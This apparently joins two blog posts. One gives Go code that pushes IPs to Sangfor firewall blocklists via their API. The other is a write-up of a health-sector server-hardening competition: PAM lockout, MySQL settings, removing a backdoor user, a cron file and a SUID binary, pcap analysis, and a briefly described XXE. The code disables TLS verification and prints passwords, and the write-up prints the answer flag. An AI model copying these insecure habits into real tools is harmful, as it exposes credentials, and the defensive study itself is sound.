这里SXF的设备是有两种模式可供选择的,但是目前SXF的ssh登录一般是由两段密码组成还有可能经常性的修改,所以这里使用的API的方式向地址簿中添加要封禁的IP地址,但是这里的话,策略务必要配置正确。

// 新增的结构体,用于表示包含 devices 字段的 JSON 数据结构
type DeviceList struct {
	Devices []SXFDevice `json:"devices"`
}

// 登录响应结构体
type loginResponse struct {
	Code int `json:"code"`
	Data struct {
		LoginResult struct {
			Token string `json:"token"`
		} `json:"loginResult"`
	} `json:"data"`
	Message string `json:"message"`
}

// 添加 IP 请求结构体
type ipRange struct {
	Start string `json:"start"`
}

type addIPRequest struct {
	IPRanges []ipRange `json:"ipRanges"`
}

// ✅ 防冲突:明确为 SXF 的登录函数
// 登录获取 token
func SXFLogin(device SXFDevice) (string, error) {
	// 打印设备信息,确保 IP、用户名和密码正确
	fmt.Printf("设备信息: IP=%s, Username=%s, Password=%s\n", device.IP, device.Username, device.Password)
	url := fmt.Sprintf("https://%s/api/v1/namespaces/public/login", device.IP)

	payload := map[string]string{
		"name":     device.Username,
		"password": device.Password,
	}
	jsonData, _ := json.Marshal(payload)

	client := &http.Client{
		Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}},
	}
	resp, err := client.Post(url, "application/json", bytes.NewBuffer(jsonData))
	if err != nil {
		return "", fmt.Errorf("登录请求失败: %v", err)
	}
	defer resp.Body.Close()

	body, _ := io.ReadAll(resp.Body)

	// 打印响应内容进行调试
	fmt.Println("响应体内容:", string(body))

	var result struct {
		Code    int    `json:"code"`
		Message string `json:"message"`
		Data    struct {
			LoginResult struct {
				Token string `json:"token"`
			} `json:"loginResult"`
		} `json:"data"`
	}

	if err := json.Unmarshal(body, &result); err != nil {
		return "", fmt.Errorf("解析登录响应失败: %v", err)
	}

	// 检查返回的 code
	if result.Code != 0 {
		return "", fmt.Errorf("登录失败: %s", result.Message)
	}

	// 返回 token
	return result.Data.LoginResult.Token, nil
}

// 加载 JSON 文件并解析为设备切片
// 加载 JSON 文件并解析为设备切片
func loadSXFDevices(filePath string) ([]SXFDevice, error) {
	data, err := os.ReadFile(filePath)
	if err != nil {
		return nil, fmt.Errorf("设备配置文件加载失败: %v", err)
	}

	// 输出加载的 JSON 数据(用于调试)
	fmt.Printf("加载的 JSON 数据: %s\n", string(data))

	var devices []SXFDevice
	err = json.Unmarshal(data, &devices)
	if err != nil {
		return nil, fmt.Errorf("设备解析失败: %v", err)
	}

	// 输出解析后的设备信息(调试)
	fmt.Printf("加载的设备数量: %d\n", len(devices))
	for _, device := range devices {
		// 输出每台设备的详细信息,特别是 AddressGroup 字段
		fmt.Printf("设备信息:Name=%s, IP=%s, AddressGroup=%s\n", device.Name, device.IP, device.AddressGroup)
	}

	return devices, nil
}

// ✅ 添加多个 IP 到 SXF 地址组(支持日志回调)
// 在 AddToSXFBlacklist 函数内部,确保请求头正确设置
// 设备添加到黑名单的函数
// AddToSXFBlacklist 将 IP 地址添加到 SXF 防火墙的黑名单
// 添加多个 IP 到 SXF 地址组(支持日志回调)
// AddToSXFBlacklist 将 IP 地址添加到 SXF 防火墙的黑名单
func AddToSXFBlacklist(devices []SXFDevice, ips []string, logFn func(string)) error {

	for _, device := range devices {
		// 1. 登录
		token, err := SXFLogin(device)
		if err != nil {
			logFn(fmt.Sprintf("【%s】❌ 登录失败: %v", device.Name, err))
			continue
		}
		logFn(fmt.Sprintf("【%s】✅ 登录成功", device.Name))

		// 2. 添加每个IP
		for _, ip := range ips {
			ipRanges := []map[string]string{{"start": ip, "end": ip}}
			requestData := map[string]interface{}{"ipRanges": ipRanges}
			requestDataJSON, _ := json.Marshal(requestData)

			// 3. 发送请求
			url := fmt.Sprintf(
				"https://%s/api/v1/namespaces/public/ipgroups/%s?_arrayop=add",
				device.IP,
				device.AddressGroup,
			)
			req, _ := http.NewRequest("PATCH", url, bytes.NewBuffer(requestDataJSON))
			req.Header = http.Header{
				"token":        []string{token},
				"Content-Type": []string{"application/json"},
			}

			client := &http.Client{
				Transport: &http.Transport{
					TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
				},
			}
			resp, err := client.Do(req)
			if err != nil {
				logFn(fmt.Sprintf("【%s】❌ IP %s 添加失败: %v", device.Name, ip, err))
				continue
			}
			defer resp.Body.Close()

			// 4. 处理响应
			body, _ := io.ReadAll(resp.Body)
			var result map[string]interface{}
			if err := json.Unmarshal(body, &result); err != nil {
				logFn(fmt.Sprintf("【%s】❌ IP %s 响应解析失败: %v", device.Name, ip, err))
				continue
			}

			if code, ok := result["code"].(float64); ok && code == 0 {
				logFn(fmt.Sprintf("【%s】✅ IP %s 已添加到地址组[%s]",
					device.Name, ip, device.AddressGroup))
			} else {
				msg, _ := result["message"].(string)
				logFn(fmt.Sprintf("【%s】❌ IP %s 添加失败: %s", device.Name, ip, msg))
			}
		}
	}
	return nil
}

如果想要扩展功能的话不建议使用API去扩展,毕竟太麻烦了,各种参数比较麻烦,没有ssh的方式登录使用命令操作简便。

整体界面效果

总结

其它厂商的防火墙确实没找到手册,有的是找到手册没有测试的设备,目前上述的设备和代码是完全没有问题的,如果想添加其它厂商的设备,可以给我操作手册,我这边更新新版本发布。每次更新后的授权时间是3个月

前言

刚好有机会接触到卫生行业的运维赛,这里只有机会接触到测试赛,简单谢谢wp吧,测试赛的话主办方也是用心了的,难度的话相比较决赛的内容还是比较简单的。

题目

【题目背景】 模拟了一台公网上的服务器,内置 MYSQL\SSH\WEB 等应用服务,但是因为安全意识不到位导致该服务器存在若干安全风险,现在要求对该服务器实施断网并作全方面的安全检查,由于服务的迁移,在系统中保留了一些历史服务的流量包,需要对流量包进行分析和研判。

【题目要求】

1、通过修改服务器登录相关的配置文件实现:密码有效期90天、连续输错三次密码,账号锁定五分钟。

2、通过修改mysql相关配置实现:开启数据库查询日志、限制任意地址登录,只允许127.0.0.1登录。

3、从 /root/analyse.pcapng 文件中分析被读取走的flag值,写到 /root/flag.txt 中。

4、对系统中存在的其他安全隐患进行排查和处置(恶意配置后门请直接删除)。

5、还有其他的一些要求,但是没在题干中

【注意事项】

1、不涉及修改密码和修改私钥的动作,如果因为修改密码或私钥导致无法得分,选手自行负责。

2、禁止使用防火墙等相关IP封锁技术对IP进行隔离,如果因为隔离IP导致无法得分,选手自行负责。

【接入信息】

1、SSH服务端口22,账号密码为root/root

2、MYSQL服务账号密码为root/mysql

步骤

登录ssh,发现处于docker容器内,其实这里很多命令是无法使用的。

先修改登录过期事件

vim /etc/login.def

PASS_MAX_DAYS 90

连续输入错误三次,锁定5分钟

vim /etc/pam.d/sshd

auth required pam_tally.so deny=3 onerr=fail unlock_time=300 #最夯一行添加配置文件

auth required pam_faillock.so preauth audit silent deny=3 unlock_time=300
auth required pam_faillock.so authfail audit deny=3 unlock_time=300

或者修改

/etc/pam.d/common-auth

隐藏后门

查看发现异常用户hacker

userdel -f hacker

这里需要强制删除,因为不添加参数的话会重新创建该用户。

访问控制

访问控制在/etc/hosts.allow中发现存在异常的访问控制,删除该文件即可

安全配置

mysql暴力破解用户名密码root/mysql

mysql -uroot -pmysql

SET GLOBAL general_log = 'ON'; //开启数据库查询日志

或者图形化界面执行修改也可以

访问控制2

限制登录地址为127.0.0.1

修改配置文件

vim /etc/mysql/mysql.conf.d/mysql.cnf

bind-address = 127.0.0.1

定时任务

这个定时任务题目有问题,没有定时任务但是需要删除root的定时任务

rm /var/spool/cron/crontabs/root

其实这里的定时任务文件是没内容的,但是check的机制就是检测文件是否存在

特殊权限

find / -type f -perm -4000 -exec ls -l {} \;

find /:从根目录开始查找(你也可以指定特定的目录,例如 /usr/bin)。

-type f:只查找文件,不查找目录。

-perm -4000:查找设置了 SUID 权限的文件(SUID 权限对应的数字是 4000)。

-ls:显示详细信息,包括文件的权限、所有者、大小、修改时间等。

所有具有suid权限的文件都在/bin下,一般whoami权限是没有suid权限的,所以这个文件被动过,所以这里干掉这个文件就可以了。

流量分析

需要开启SFTP服务,注释掉配置文件

#RSAAuthentication yes 这个配置文件是老版本openssh

另外添加ftp配置文件

Subsystem sftp internal-sftp

检索关键字,追踪tcp流分析找到一串base64编码内容

导出分组字节流解码得到flag

echo "flag{d9d2c4b2-7cf2-472f-a8e8-2aad1e466099}" > /root/flag.txt

web漏洞

目录扫描发现info目录,发现属于xxe的报错,构造xxe语句

system是可执行文件,url路径需要传参,fuzz无果手工测试

回显显示需要参数,简单测试构造发现存在任意文件读取

修复直接就是定位到位置点儿进行修复即可。其实这里最简单的就是直接代码审计,审计即可,因为前期导完数据包的时候环境有问题,修改配置文件无法SFTP连接获取源码,所以就黑盒进行FUZZ了。